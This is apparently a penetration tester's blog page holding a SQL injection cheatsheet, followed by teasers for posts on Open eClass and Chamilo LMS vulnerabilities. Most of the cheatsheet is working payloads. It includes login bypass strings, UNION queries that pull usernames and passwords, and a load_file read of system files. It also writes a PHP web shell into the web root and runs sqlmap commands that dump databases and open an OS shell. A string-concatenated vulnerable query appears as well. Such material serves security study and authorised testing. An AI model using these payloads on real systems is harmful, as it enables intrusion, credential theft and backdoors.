Skip to main content

Enumerating Cheatsheet


Connect to MySQL
mysql -u root -p'root' -h <TARGET IP> -P 3306

Connect to MSSQL
impacket-mssqlclient Administrator:<PASSWORD>@<TARGET IP> -windows-auth


Basic SQL Syntax
SELECT * FROM users;

SELECT username FROM users WHERE id=1;


Vulnerable SQL query example
$query = "select * from users where username = '$user' and password = '$pass'";
 
Discover SQLi by inputing  '  and  " 

Authentication Bypass (MariaDB / MySQL)
admin' or 1=1;#

Return 1 record
admin' or 1=1 LIMIT 1;#


SQLi Enumeration
  • Enumerating the Datebase: '
  • Enumerating Column Number:
1 ORDER BY 1;#
1 ORDER BY 1,2;#
1 ORDER BY 1,2,3;#

-- IF AN ERROR OCCURE THE TABLE HAS 3 COLUMNS
1 ORDER BY 1,2,3,4;#
  • Understanding the Layout of the Output:
1 union all select 1, 2, 3


Extracting Data from the Database
  • Version of MariaDB:
1 union all select 1, 2, @@version
  • Current database user:
1 union all select 1, 2, user()
  • Extract table names:
1 union all select 1, 2, table_name from information_schema.tables
  • Extract table columns:
1 union all select 1, 2, column_name from information_schema.columns
where table_name='users'
  • Payload to extract the users table:
1 union all select 1, username, password from users

From SQL Injection to Code Execution

  • Load files:
1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
  • Create a malicius (backdoor) file on the web root:
1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>"
into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Automating SQL Injection
  • Test id parameter:
sqlmap -u http://example.com/something.php?id=1 -p "id"
  • Dump database:
sqlmap -u http://example.com/something.php?id=1 -p "id" --dbms=mysql --dump
  • Get a shell:
sqlmap -u http://example.com/something.php?id=1 -p "id" --dbms=mysql --os-shell


Popular posts from this blog

Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution

During an assessment, I identified a severe security vulnerability within Open eClass, an e-learning platform extensively utilized across educational institutions, notably within Greece, where it is deployed by virtually all Greek Universities and educational entities. Open eClass, developed by GUnet (Greek Universities Network), is instrumental in delivering asynchronous e-learning services. The vulnerability, cataloged under CVE-2024-26503, involves an unrestricted file upload flaw that enables remote code execution (RCE), impacting versions 3.15 and earlier of the platform. This critical security lapse presents a significant risk, potentially allowing unauthorized access and control over the system, thereby compromising the integrity and security of the educational infrastructure. Affected Versions: ●   version <=  3.15 CVSSv3.1 Base Score: 9.1 ( Critical ) CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Exploitation Guide The vulnerability can be exploited

How I Use Obsidian for Penetration Testing, CVE Hunting, and Studying

In the ever-evolving realm of cyber security, the tools and techniques at our disposal are as varied as the threats we aim to counteract. Among these tools, note-taking applications play a pivotal role, not just in organizing our thoughts but in streamlining our entire workflow. Today, I'm excited to share how Obsidian, a tool I embraced over two and a half years ago while preparing for my eJPT exam, has become an indispensable ally in my journey through penetration testing, CVE hunting, and continuous learning. If you're not yet familiar with Obsidian, it's a robust note-taking application that operates on a local collection of plain text Markdown files. What sets it apart is its capability to interlink ideas, forming an expansive web of knowledge that is both intuitive and comprehensive to explore. Through considerable customization, I've developed what I consider to be an ideal method for consolidating notes, insights, and projects into a unified workspace. Here'

Chamilo LMS: CVE-2024-27524 & CVE-2024-27525

CVE-2024-27524:  Stored XSS in tickets Severity:  High  (Base Score  7.1 ) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H   Mitigation: Upgrade to Chamilo LMS 1.11.28 and above. Patch:  https://github.com/chamilo/chamilo-lms/commit/53275c152275958b33a1f87a21843daa52fb543a CVE-2024-27525:  Self XSS in social network Base Score:  Medium  (Base Score  4.6 ) CVSS Vector:  CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L Mitigation: Upgrade to Chamilo LMS 1.11.28 and above. Patch:  https://github.com/chamilo/chamilo-lms/commit/a63e03ef961e7bf2dab56f4ede6f87edef40ba0c Overview This advisory covers the discovery of two vulnerabilities within Chamilo LMS, an open-source learning management system (LMS) widely used across educational institutions. These vulnerabilities—stored cross-site scripting (Stored XSS) and self-cross-site scripting (Self XSS)—pose different levels of security risks but highlight critical considerations for secure system administration and user protection. Summary